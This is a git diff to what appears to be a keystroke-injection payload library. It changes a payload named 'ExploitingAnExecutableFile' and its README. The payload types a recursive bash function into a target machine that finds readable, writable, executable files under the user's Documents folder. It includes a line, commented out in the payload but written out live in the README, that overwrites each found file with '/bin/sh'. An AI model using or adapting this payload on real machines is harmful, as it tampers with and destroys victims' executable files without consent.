diff --git a/payloads/library/execution/ExploitingAnExecutableFile/README.md b/payloads/library/execution/ExploitingAnExecutableFile/README.md index f213dcc..05a9924 100644 --- a/payloads/library/execution/ExploitingAnExecutableFile/README.md +++ b/payloads/library/execution/ExploitingAnExecutableFile/README.md @@ -24,4 +24,9 @@ A script used to detect all executable files in a Linux system. An executable fi ### Settings -* You can edit the content that you want to put into the executable file (line 10 of the script.sh). \ No newline at end of file +* You can edit the content that you want to put into the executable file. + +```Shell +# You can put whatever you want into the executable file +echo "/bin/sh" > "$file" +``` \ No newline at end of file diff --git a/payloads/library/execution/ExploitingAnExecutableFile/payload.txt b/payloads/library/execution/ExploitingAnExecutableFile/payload.txt index f708924..390b61f 100644 --- a/payloads/library/execution/ExploitingAnExecutableFile/payload.txt +++ b/payloads/library/execution/ExploitingAnExecutableFile/payload.txt @@ -20,62 +20,20 @@ DELAY 2000 REM #### Script #### -STRING USER=$(whoami) -ENTER -DELAY 500 - -STRING DIR=/home/$USER/Documents -ENTER -DELAY 500 - - -REM #### Function Definition #### - - -STRING function search_file { -ENTER -DELAY 500 - -STRING for file in "$1"/*; do -ENTER -DELAY 500 - -STRING if [[ -d "$file" ]]; then -ENTER -DELAY 500 - -STRING search_file "$file" -ENTER -DELAY 500 - -STRING elif [[ -f "$file" && -r "$file" && -w "$file" && -x "$file" ]]; then -ENTER -DELAY 500 - -STRING echo "File Found: $file" -ENTER -DELAY 500 - -REM Decomment it if you want to put "/bin/sh" into the files, else do what you want -STRING # echo "/bin/sh" > "\$file" -ENTER -DELAY 500 - -STRING fi -ENTER -DELAY 500 - -STRING done -ENTER -DELAY 500 - -STRING } -ENTER -DELAY 500 - - -REM #### Function Run #### - - -STRING search_file "$DIR" -ENTER +STRINGLN +function search_file { + for file in "$1"/*; do + if [[ -d "$file" ]]; then + search_file "$file"; + elif [[ -f "$file" && -r "$file" && -w "$file" && -x "$file" ]]; then + echo "File Found: $file"; + # You can put whatever you want into the executable file + # echo "/bin/sh" > "$file" + fi + done +} +USER=$(whoami); +# You can choose whatever folder you want, the script is recursive. +DIR=/home/$USER/Documents; +search_file "$DIR"; +END_STRING \ No newline at end of file